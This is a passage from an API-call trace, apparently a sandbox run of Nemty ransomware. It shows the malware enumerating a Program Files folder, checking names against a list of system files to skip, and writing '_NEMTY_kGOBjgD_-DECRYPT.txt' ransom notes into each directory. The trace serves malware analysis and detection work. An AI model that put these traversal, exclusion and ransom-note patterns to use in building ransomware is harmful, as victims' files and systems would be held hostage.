ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2=".") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="..") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="...") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="windows") returned -1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="$RECYCLE.BIN") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="rsa") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="NTDETECT.COM") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="ntldr") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="MSDOS.SYS") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="IO.SYS") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="boot.ini") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="boot.ini") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="AUTOEXEC.BAT") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="ntuser.dat") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="desktop.ini") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="CONFIG.SYS") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="RECYCLER") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="BOOTSECT.BAK") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="bootmgr") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="programdata") returned 1 [0107.415] lstrcmpiW (lpString1="TableTextService", lpString2="appdata") returned 1 [0107.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0107.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService", lpUsedDefaultChar=0x0) returned 16 [0107.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0107.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService", lpUsedDefaultChar=0x0) returned 16 [0107.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0107.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0107.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc60 | out: hHeap=0x4f90000) returned 1 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f915f8 [0107.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94088 [0107.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0107.416] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.432] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.432] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0107.433] CloseHandle (hObject=0x3c4) returned 1 [0107.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0107.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94178 [0107.433] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0107.434] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0107.434] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0107.434] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.434] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0107.436] CloseHandle (hObject=0x3c4) returned 1 [0107.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.436] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.436] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3ac80f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3ac80f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0107.436] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.436] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3ac80f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3ac80f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0107.436] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.436] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.436] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="en-US", cAlternateFileName="")) returned 1 [0107.436] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0107.436] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0107.436] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0107.437] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0107.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0107.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f250, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0107.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0107.437] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f250, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", lpUsedDefaultChar=0x0) returned 5 [0107.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0107.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0107.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.438] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0107.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0107.439] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.439] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0107.439] CloseHandle (hObject=0x1e8) returned 1 [0107.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94178 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941f0 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0107.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0107.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.440] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0107.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0107.441] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.441] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0107.442] CloseHandle (hObject=0x1e8) returned 1 [0107.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0107.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0107.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941f0 [0107.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf3aee250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3aee250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0107.442] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0107.442] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf3aee250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3aee250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0107.442] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0107.442] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0107.442] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".") returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="..") returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="...") returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="windows") returned -1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="rsa") returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="NTDETECT.COM") returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="ntldr") returned 1 [0107.442] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="MSDOS.SYS") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="IO.SYS") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="boot.ini") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="boot.ini") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="ntuser.dat") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="desktop.ini") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="CONFIG.SYS") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="RECYCLER") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="bootmgr") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="programdata") returned 1 [0107.443] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2="appdata") returned 1 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll.mui", lpUsedDefaultChar=0x0) returned 24 [0107.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll.mui", lpUsedDefaultChar=0x0) returned 24 [0107.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0107.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll.mui", lpUsedDefaultChar=0x0) returned 24 [0107.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: 